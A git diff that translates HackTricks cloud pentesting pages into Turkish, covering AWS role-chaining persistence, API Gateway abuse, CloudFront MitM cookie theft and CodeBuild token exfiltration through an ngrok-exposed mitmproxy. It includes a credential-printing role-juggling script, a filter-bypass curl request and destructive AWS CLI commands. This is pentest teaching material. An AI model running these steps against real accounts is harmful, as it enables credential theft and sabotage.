-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar.
+Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
- -h, --help show this help message and exit
- -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
-
> [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> Bu Github deposundaki [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) betiğinin bir rol zincirinin yapılandırılabileceği tüm yolları bulmadığını unutmayın.
-Code to perform Role Juggling from PowerShell
-
+PowerShell'den Rol Juggling yapmak için Kod
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
- Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
- exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
}
# Function to list IAM roles
function List-IAMRoles {
- aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
- $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($credentials) {
- Write-Host "Successfully assumed role: $($role.RoleName)"
- Write-Host "Access Key: $($credentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
- Write-Host "Session Token: $($credentials.SessionToken)"
- Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
- # Set temporary credentials to assume the next role
- $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
- $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
- $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
- # Try to assume another role using the temporary credentials
- foreach ($nextRole in $roles) {
- if ($nextRole.Arn -ne $role.Arn) {
- $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($nextCredentials) {
- Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
- Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
- Write-Host "Session Token: $($nextCredentials.SessionToken)"
- Write-Host "Expiration: $($nextCredentials.Expiration)"
- }
- } catch {
- $errorCount++
- }
- }
- }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
- # Reset environment variables
- Remove-Item Env:\AWS_ACCESS_KEY_ID
- Remove-Item Env:\AWS_SECRET_ACCESS_KEY
- Remove-Item Env:\AWS_SESSION_TOKEN
- } else {
- $errorCount++
- }
- } catch {
- $errorCount++
- }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
- Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
- Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..941a860e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
# AWS - Post Exploitation
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..f51c84f1e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -4,48 +4,43 @@
## API Gateway
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Access unexposed APIs
+### Açık Olmayan API'lere Erişim
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktayı erişiminiz olan bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\
+Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz.
-### Bypass Request body passthrough
+### İstek Gövdesi Geçişini Atlatma
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu.
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+[AWS belgelerinde](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir.
+Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti:
```yaml
RequestTemplates:
- application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
+Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir.
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdesinde sorgu bulunan bir POST isteği göndererek sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü ve `X-HTTP-Method-Override: GET` başlığını kullanarak:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
+### Kullanım Planları DoS
-### Usage Plans DoS
+**Enumeration** bölümünde anahtarların **kullanım planını** nasıl **edineceğinizi** görebilirsiniz. Anahtarınız varsa ve bu anahtar **aylık X kullanım** ile **sınırlıysa**, **onu kullanabilir ve bir DoS oluşturabilirsiniz**.
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
-
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığına** **eklenmelidir**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+`apigateway:UpdateGatewayResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **özel başlıklar veya hassas bilgileri sızdıran ya da kötü niyetli betikleri çalıştıran yanıt şablonları içerecek şekilde mevcut bir Gateway Yanıtını değiştirebilir**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
> [!NOTE]
-> Need testing
+> Test edilmesi gerekiyor
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+`apigateway:UpdateStage` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway aşamasını trafiği farklı bir aşamaya yönlendirecek şekilde değiştirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere yetkisiz erişim elde edebilir**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya yakalama.
> [!NOTE]
-> Need testing
+> Test edilmesi gerekiyor
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway REST API yönteminin yöntem yanıtını, hassas bilgileri sızdıran veya kötü niyetli betikleri çalıştıran özel başlıklar veya yanıt şablonları içerecek şekilde değiştirebilir**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Potansiyel Etki**: Hassas bilgilerin sızması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
> [!NOTE]
-> Need testing
+> Test edilmesi gerekiyor
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+`apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **API Gateway REST API ayarlarını güncelleyerek günlüklemeyi devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir, bu da API'nin güvenliğini zayıflatabilir**.
```bash
API_ID="your-api-id"
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma potansiyeli.
> [!NOTE]
-> Need testing
+> Test edilmesi gerekiyor
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` ve `apigateway:CreateUsagePlanKey` izinlerine sahip bir saldırgan **yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve ardından bu anahtarları API'lere yetkisiz erişim için kullanabilir**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
+**Potansiyel Etki**: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması.
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
-
-> [!NOTE]
-> Need testing
+> [!NOT]
+> Test edilmesi gerekiyor
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 4a3c4ff21..f6faedf8b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -4,7 +4,7 @@
## CloudFront
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
@@ -12,24 +12,20 @@ For more information check:
### Man-in-the-Middle
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) bir **Lambda**'nın **CloudFront üzerinden iletişime** eklenebileceği (veya zaten kullanılıyorsa değiştirilebileceği) birkaç farklı senaryo önermektedir. Amaç, kullanıcı bilgilerini (örneğin oturum **çerezi**) **çalmaktır** ve **yanıtı** **değiştirmektir** (kötü niyetli bir JS scripti enjekte etmek).
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **Kötü niyetli** **fonksiyonu** **oluşturun**.
+- Bunu CloudFront dağıtımı ile **ilişkilendirin**.
+- **Olay türünü "Viewer Response"** olarak ayarlayın.
-Accessing the response you could steal the users cookie and inject a malicious JS.
+Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz.
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### senaryo 2: CloudFront'un zaten bir lambda fonksiyonu kullandığı MitM
-- **Modify the code** of the lambda function to steal sensitive information
+- Hassas bilgileri çalmak için lambda fonksiyonunun **kodunu değiştirin**.
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Bu senaryoları yeniden oluşturmak için [**tf kodunu buradan kontrol edebilirsiniz**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..9173c5943 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,85 +4,73 @@
## CodeBuild
-For more information, check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
-### Check Secrets
+### Gizli Anahtarları Kontrol Et
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+Eğer Codebuild'de Github, Gitlab veya Bitbucket'a bağlanmak için kişisel tokenlar, şifreler veya OAuth token erişimi şeklinde kimlik bilgileri ayarlandıysa, bu **kimlik bilgileri gizli yöneticide gizli olarak saklanacaktır**.\
+Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabilir ve bağlı platforma geçiş yapabilirsiniz.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
{{#endref}}
-### Abuse CodeBuild Repo Access
+### CodeBuild Repo Erişimini Kötüye Kullanma
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+**CodeBuild**'i yapılandırmak için, kullanacağı **kod deposuna erişim** gerekecektir. Bu kodu barındıran birkaç platform olabilir:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+**CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir.
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+**CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\
+Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerine erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
-And **change the Buildspec commands to exfiltrate each repo**.
+Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştirmek**.
> [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\
+> Ya da var mı? Sonraki bölümü kontrol edin
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+### AWS CodeBuild'den Erişim Tokenlarını Sızdırma
+CodeBuild'de Github gibi platformlara verilen erişimi sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
```bash
aws codebuild list-source-credentials
```
-
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
### `codebuild:DeleteProject`
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandırmasının kaybına ve projeye bağımlı uygulamaların etkilenmesine neden olabilir.
```bash
aws codebuild delete-project --name
```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+**Potansiyel Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
### `codebuild:TagResource` , `codebuild:UntagResource`
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
### `codebuild:DeleteSourceCredentials`
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+Bir saldırgan, bir Git deposu için kaynak kimlik bilgilerini silebilir ve bu, deponun normal işleyişine bağımlı olan uygulamaları etkileyebilir.
```sql
aws codebuild delete-source-credentials --arn
```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**Potansiyel Etki**: Kaynak kimlik bilgilerinin kaldırılması nedeniyle etkilenen depoya bağımlı uygulamaların normal işleyişinin kesintiye uğraması.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..bdbc989c1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Github/Bitbucket Yapılandırılmış Token'larını Kurtarma
+Öncelikle, sızdırabileceğiniz herhangi bir kaynak kimlik bilgisi yapılandırılıp yapılandırılmadığını kontrol edin:
```bash
aws codebuild list-source-credentials
```
+### Docker Görüntüsü Üzerinden
-### Via Docker Image
+Eğer örneğin Github'a kimlik doğrulamanın hesapta ayarlandığını bulursanız, Codebuild'i projeyi oluşturmak için **belirli bir docker görüntüsü** kullanmaya zorlayarak bu **erişimi** (**GH token veya OAuth token**) **sızdırabilirsiniz**.
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+Bu amaçla **yeni bir Codebuild projesi oluşturabilir** veya mevcut birinin **ortamını** değiştirerek **Docker görüntüsünü** ayarlayabilirsiniz.
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, **env değişkenlerini `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** ayarlayacak çok temel bir Docker görüntüsüdür. Bu, **`https_proxy`** ve **`http_proxy`**'da belirtilen ana bilgisayarın trafiğinin çoğunu kesmenizi ve **`SSL_CERT_FILE`**'da belirtilen SSL CERT'ine güvenmenizi sağlar.
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
-
-1. **Create & Upload your own Docker MitM image**
- - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
- - Create a **new Codebuild project** or **modify** the environment of an existing one.
- - Set the project to use the **previously generated Docker image**
+1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin**
+- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**.
+- **`http_proxy`**'yu ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
+- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`.
+- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...).
+2. **Ortamı ayarlayın**
+- **Yeni bir Codebuild projesi oluşturun** veya mevcut birinin ortamını **değiştirin**.
+- Projeyi **önceden oluşturulmuş Docker görüntüsünü** kullanacak şekilde ayarlayın.
-3. **Set the MitM proxy in your host**
-
-- As indicated in the **Github repo** you could use something like:
+3. **Ana bilgisayarınızdaki MitM proxy'yi ayarlayın**
+- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
-
> [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> Kullanılan **mitmproxy sürümü 9.0.1** idi, sürüm 10 ile bunun çalışmayabileceği bildirildi.
-4. **Run the build & capture the credentials**
+4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın**
-- You can see the token in the **Authorization** header:
+- **Authorization** başlığında token'ı görebilirsiniz:
-
-
